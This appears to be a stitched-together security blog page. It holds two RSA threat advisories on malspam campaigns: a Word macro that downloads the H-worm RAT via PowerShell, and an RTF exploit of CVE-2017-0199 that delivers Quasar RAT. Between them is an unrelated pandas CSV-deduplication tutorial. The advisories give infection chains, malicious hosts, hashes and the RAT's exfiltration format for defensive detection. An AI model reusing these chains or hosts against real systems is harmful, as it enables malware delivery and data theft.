  • 4592803dfdd47c4bfffad037695d3be4566c38ad46132e55c5679c7eb6f029da (SHA256):

  • 22a3a1c609b678b5eed59b48eed47513996998ab99841773d5b0f316fc9e7528

Hidden Tear ransomware (SHA256):

  • bf9d54c7b894065d6f3ac59da093241ee0c0c545a323c9d8ae8c8f8a9b14d591



  2. Ransomware Recap: The Ongoing Development of Hidden Tear Variants - Security News - Trend Micro USA


On October 3rd, 2017 malspam delivered a malicious MS Word document containing obfuscated VBA code, which acts as Trojan Downloader with known signature “W97M”.  


Submitting the delivery document to RSA's pre-release What’s This File service returns a 100 threat score.


If a user enables the embedded macro, VBA code runs to initiate a cmd process, which executes PowerShell to download and execute a Visual Basic Script (VBS) payload from known malicious domain “a[.]pomf[.]cat”.


PowerShell then calls a WScript shell to connect to a domain via WebClient object and download and silently execute its payload.  While the follow-on network activity is SSL encrypted, captured network activity (prior to encryption) shows the HTTP request for the initial VBS payload.


Analysis of dropped files and post infection traffic both confirm that the payload is H-worm, a Remote Access Trojan (RAT).  H-worm is a VBS based RAT written by an individual going by the name Houdini.  It shares same code base with njw0rm and njRAT/LV, and has in years past been previously seen targeting the energy industry. Common delivery mechanisms include spam email attachments and malicious links.


Once the download is complete, the binary is executed and post-infection traffic started.


RSA NetWitness evaluation of network traffic shows the malware exfiltrating information via the User-Agent field in the HTTP Header, specifically:

    {DiskVolumeSerial}<|>{Hostname}<|>{Username}<|>{OS}<|>plus<|>{AVProductInstalled or nan-av}<|>{USBSpread: true or false} - {CurrentSystemDate}



Current RSA NetWitness detection populates the following meta for the post infection traffic:


Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.



There is an Out-of-the-Box (OOTB) Identity feed which can be configured to create a recurring feed using Active Directory logs. This feed provides added context to packet and log data for users in the environment.  The source ip (ip.src) is matched and the meta values below are added to the session.

  • User name
  • Domain
  • Workstation

This feed works great but it only works for Active Directory logs.  


In the blog below I will show you how you can create custom feeds using other log event sources.


A simple yet effective option to create a custom feed is to create a report using the Reporting Engine and exporting it as a .csv into a folder so that it can be accessed periodically by a recurring feed.  This process is documented very well in the following discussion post:


However, if the logs are continuously coming in then there is a good chance that you will see duplicate and obsolete entries in your .csv and applying that as a feed might not be your best option.  To resolve this, the .csv would require additional processing to remove the obsolete entries. 


For example, let's say that for some reason I wanted to create a feed based on incoming DHCP logs. Once I create a .csv for the last <x> hours, I would then have to apply additional logic to only keep the latest entries in the .csv and remove all of the old ones.


Since custom feeds (based on logs) can grow very large depending on the requirement, removing duplicates can be challenging especially when you have multiple columns in the .csv. In my case I had to remove duplicates from a .csv file with 300k rows and 5 columns so I needed to be mindful about system performance and I had to consider what to use for a dedup - list, maps, sets, file comparisons, etc.


That's when I came across Python Pandas library which solved this problem for me. Using this library I was able to dedup the .csv file to keep only latest entries in under 2 seconds with a simple set of code.


Below are the steps I took:

I used the script to collect the meta keys shown below (with a where clause) from a concentrator/broker:

  • event.time
  • ip.src
  • eth.src
  • host.src
  • event.desc


My output .csv looked something like this:

dhcp csv


The next step is to reduce the .csv to keep only the latest ip.src entries where latest is identified by event.time timestamp. This is where I used pandas and this single line code to do everything under 2 seconds:

import pandas as pd
pd.read_csv(filename).sort_values('event.time',ascending=True).drop_duplicates('ip.src', keep='last').drop(['event.time','count'],axis=1).to_csv(outfile,header=None,index=False)


So what’s happening in above code?

  1. Reading the file as .csv (using .csv file headers)
  2. Sorting the file on event.time
  3. Dropping duplicates for same ip.src by keeping only last entry (sorted latest)
  4. Dropping event.time and count columns from file
  5. Removing the header and writing to final output file named 'outfile'


Outfile then can be picked up by a recurring feed. Since this dedup is extremely fast you can have a very short interval on the recurring feed as long as there is no negative impact on your concentrator for running the query.


For any type of .csv manipulation, pandas library is an excellent and extremely fast option. Here is a cheat sheet that you can use as a guide.


If you have any feedback on the steps I took above, please do let me know.  I welcome your comments and would love to hear how this works for you.






1) I used script and not the default reporting engine option since I wanted to avoid reporting engine overhead. Also provides an option to keep headers which was useful while processing the file using pandas

2) script groups rows and puts a count as last column. I havent shown in above snapshot

3) Pandas does not work with python 2.6.6, you need python 2.7 +

On September 27th, malspam delivered a malicious RTF document that tries to exploit Microsoft Office/WordPad via a Remote Code Execution (RCE) Vulnerability in the Windows API, CVE-2017-0199.

VirusTotal Analysis of delivered document confirms presence of RTF exploit.


After opening the document in a vulnerable Microsoft Word application, users are warned that the document is attempting to download externally linked files.


Upon clicking "Yes", and a direct to IP connection to 173.44.42[.]164 is established and the following network events take place.


As shown above, "3Pxi69djmwiIKmc.hta" (VirusTotal and Hybrid-Analysis) was the first download.  This file creates two XMLHTTP objects using VBScript which helps to connect and download VBS file which acts as Trojan Downloader.  It also creates Shell object to execute HTA file as Internet Explorer Application.


Next, a VBS script, "Km1Dizoq3Jxz.vbs", (VirusTotal  and Hybrid Analysis) uses obfuscated code to create paths from which executable “UvnG1Oz9d0.exe” is downloaded and executed.


In the same session, "nJwsm39La.html” then deletes both the VBS and executable file.


VirusToatal Analysis of the payload, “UvnG1Oz9d0.exe”, (VirusTotal  and Hybrid-Analysis) confirms that it is Quasar Spyware, a Remote Access Trojan (RAT).


Once the download is complete, the binary is executed and post-infection traffic started.


Current RSA NetWitness detection populates following meta for the download sessions:


You can also check FirstWatch recent threat advisory on the recent uptick in malspam attempting to exploit CVE-2017-0199, Malspam and CVE-2017-0199


Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.


Filter Blog

By date: By tag: